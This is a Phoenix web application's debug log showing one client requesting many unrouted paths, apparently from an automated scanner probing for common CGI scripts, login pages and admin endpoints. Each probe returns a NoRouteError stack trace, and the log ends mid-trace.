[Thu Sep  3 08:16:44.949000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:44144] GET /cgi-bin/FormMail.cgi
[Thu Sep  3 08:16:44.968000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:44144] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/FormMail.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:16:50.152000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:44150] GET /default.php
[Thu Sep  3 08:16:50.198000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:44150] ** (Phoenix.Router.NoRouteError) no route found for GET /default.php (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:16:50.479000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:44162] GET //login/login
[Thu Sep  3 08:16:50.504000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:44162] ** (Phoenix.Router.NoRouteError) no route found for GET /login/login (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:16:50.622000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:44166] GET /cgi-bin/guestbook.cgi
[Thu Sep  3 08:16:50.634000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:44166] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/guestbook.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:16:50.821000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:44174] GET /fogbugz/default.php
[Thu Sep  3 08:16:50.835000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:44174] ** (Phoenix.Router.NoRouteError) no route found for GET /fogbugz/default.php (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:16:52.230000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:44182] GET /
[Thu Sep  3 08:16:52.231000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:44182] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 08:16:52.233000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:44182] Sent 200 in 2ms
[Thu Sep  3 08:16:56.495000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:34712] GET /cgi-bin/help.cgi
[Thu Sep  3 08:16:56.513000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:34712] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/help.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:16:58.203000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:34728] GET /fpui/jsp/login.jsp
[Thu Sep  3 08:16:58.232000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:34728] ** (Phoenix.Router.NoRouteError) no route found for GET /fpui/jsp/login.jsp (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:16:58.810000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:34738] GET /acopia/
[Thu Sep  3 08:16:58.824000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:34738] ** (Phoenix.Router.NoRouteError) no route found for GET /acopia (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:17:02.274000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:34740] GET /cgi-bin/hi
[Thu Sep  3 08:17:02.311000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:34740] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/hi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:17:04.917000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:57318] GET /ui/login/
[Thu Sep  3 08:17:04.942000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:57318] ** (Phoenix.Router.NoRouteError) no route found for GET /ui/login (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:17:04.959000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:57334] GET /eonapi/getAuthenticationStatus
[Thu Sep  3 08:17:04.998000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:57334] ** (Phoenix.Router.NoRouteError) no route found for GET /eonapi/getAuthenticationStatus (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:17:08.220000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:57344] GET /cgi-bin/index.cgi
[Thu Sep  3 08:17:08.243000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:57344] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/index.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:17:11.328000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:57352] GET /autodiscover/autodiscover.xml
[Thu Sep  3 08:17:11.359000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:57352] ** (Phoenix.Router.NoRouteError) no route found for GET /autodiscover/autodiscover.xml (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:17:11.924000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:57366] GET /login.web
[Thu Sep  3 08:17:11.936000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:57366] ** (Phoenix.Router.NoRouteError) no route found for GET /login.web (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:17:12.954000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 08:17:13.300000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 08:17:13.871000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:59920] GET /cgi-bin/index.pl
[Thu Sep  3 08:17:13.881000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:59920] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/index.pl (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:17:19.517000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:59922] GET /PUBLIC/ADMIN/INDEX.HTM
[Thu Sep  3 08:17:19.540000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:59922] ** (Phoenix.Router.NoRouteError) no route found for GET /PUBLIC/ADMIN/INDEX.HTM (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
